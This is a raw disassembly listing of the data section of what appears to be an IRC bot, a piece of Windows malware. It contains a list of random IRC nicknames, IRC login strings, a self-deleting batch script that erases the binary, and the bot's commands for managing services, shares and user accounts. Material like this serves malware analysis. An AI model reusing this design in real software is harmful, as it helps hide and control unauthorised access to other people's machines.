aRs		db 'rs',0               ; DATA XREF: ___:00438668o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438620o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043861Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438618o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438614o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438610o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043860Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438608o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438604o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438600o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:004385FCo
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:004385F8o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:004385F4o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:004385F0o
aLag		db 'lag',0              ; DATA XREF: ___:004385ECo
aBad		db 'bad',0              ; DATA XREF: ___:004385E8o
aTree		db 'tree',0             ; DATA XREF: ___:004385E4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385E0o
aLez		db 'lez',0              ; DATA XREF: ___:004385DCo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385D4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385D0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385CCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385C8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385C4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385C0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385BCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385B8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385B4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385B0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385ACo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385A8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385A4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385A0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:0043859Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438598o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438594o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438590o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043858Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438588o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438584o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438580o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043857Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438578o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438574o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438570o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043856Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438568o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438564o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438560o
		align 4
off_438A08	dd offset byte_4B5245	; DATA XREF: ___:0043855Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438558o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438554o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438550o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043854Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438548o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438544o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438540o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043853Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438538o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438534o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438530o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043852Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438528o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438524o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438520o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043851Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438518o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438514o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438510o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043850Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438508o
aHoly		db 'holy',0             ; DATA XREF: ___:00438504o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438500o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004384FCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004384F8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004384F4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:004384F0o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384ECo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384E8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384E4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384E0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384DCo
aArda		db 'arda',0             ; DATA XREF: ___:004384D8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384D4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384D0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384CCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384C8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384C4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384C0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384BCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384B8o
		align 4
off_438B9C	dd offset byte_457441	; DATA XREF: ___:004384B4o
dword_438BA0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384B0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384ACo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384A8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384A4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384A0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043849Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438498o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438494o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438490o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043848Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438488o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438484o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438480o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043847Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438478o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438474o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438470o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043846Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438468o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438464o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438460o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043845Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438458o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438454o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438450o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043844Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438448o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438444o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438440o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043843Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438438o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438434o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438430o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043842Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438428o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438424o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438420o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043841Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438418o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438414o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438410o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043840Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438408o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438404o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438400o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004383FCo
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004383F8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004383F4o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004383F0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383ECo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383E8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383E4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383E0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383DCo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383D8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383D4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383D0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383CCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383C8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383C4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383C0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383BCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383B8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383B4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383B0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383ACo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383A8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383A4o
		align 4
aM_0:					; DATA XREF: ___:004383A0o
					; ___:004386ECo
		unicode	0, <M>,0
word_438E08	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:0043839Co
		align 4
dword_438E0C	dd 42h			; DATA XREF: ___:00438398o
dword_438E10	dd 56h			; DATA XREF: ___:00438394o
dword_438E14	dd 43h			; DATA XREF: ___:00438390o
dword_438E18	dd 58h			; DATA XREF: ___:0043838Co
					; ___:00438720o
dword_438E1C	dd 5Ah			; DATA XREF: ___:00438388o
dword_438E20	dd 4Ch			; DATA XREF: ___:00438384o
dword_438E24	dd 4Bh			; DATA XREF: ___:00438380o
dword_438E28	dd 4Ah			; DATA XREF: ___:0043837Co
dword_438E2C	dd 48h			; DATA XREF: ___:00438378o
dword_438E30	dd 47h			; DATA XREF: ___:00438374o
dword_438E34	dd 46h			; DATA XREF: ___:00438370o
					; ___:004386E8o
dword_438E38	dd 44h			; DATA XREF: ___:0043836Co
dword_438E3C	dd 53h			; DATA XREF: ___:00438368o
dword_438E40	dd 50h			; DATA XREF: ___:00438360o
dword_438E44	dd 4Fh			; DATA XREF: ___:0043835Co
dword_438E48	dd 55h			; DATA XREF: ___:00438354o
word_438E4C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438350o
		align 10h
dword_438E50	dd 54h			; DATA XREF: ___:0043834Co
dword_438E54	dd 52h			; DATA XREF: ___:00438348o
dword_438E58	dd 45h			; DATA XREF: ___:00438344o
dword_438E5C	dd 57h			; DATA XREF: ___:00438340o
dword_438E60	dd 51h			; DATA XREF: ___:0043833Co
dword_438E64	dd 62h			; DATA XREF: ___:00438330o
					; ___:00438624o ...
dword_438E68	dd 78h			; DATA XREF: ___:00438324o
					; ___:0043867Co
dword_438E6C	dd 7Ah			; DATA XREF: ___:00438320o
					; ___:00438684o ...
dword_438E70	dd 68h			; DATA XREF: ___:00438310o
					; ___:0043863Co
dword_438E74	dd 67h			; DATA XREF: ___:0043830Co
					; ___:00438638o ...
dword_438E78	dd 66h			; DATA XREF: ___:00438308o
					; ___:00438634o
dword_438E7C	dd 79h			; DATA XREF: ___:004382ECo
					; ___:00438680o
dword_438E80	dd 77h			; DATA XREF: ___:004382DCo
					; ___:00438678o
dword_438E84	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438E90	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438E94	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43903C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439064	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439080	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439084	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439088	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4390F4h, 4390ECh,	2, 4390E0h, 4390D4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390B4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390B0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390A8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390A4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043909Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439098o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439090o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043908Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439084o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439080o
unk_439148	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43916C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439198	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396EC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439710	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43972C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439778	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397D8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439800	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439830	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439850	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A0C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A40	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D48	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D74	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db  65h	; e
		db  74h	; t
		db    2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
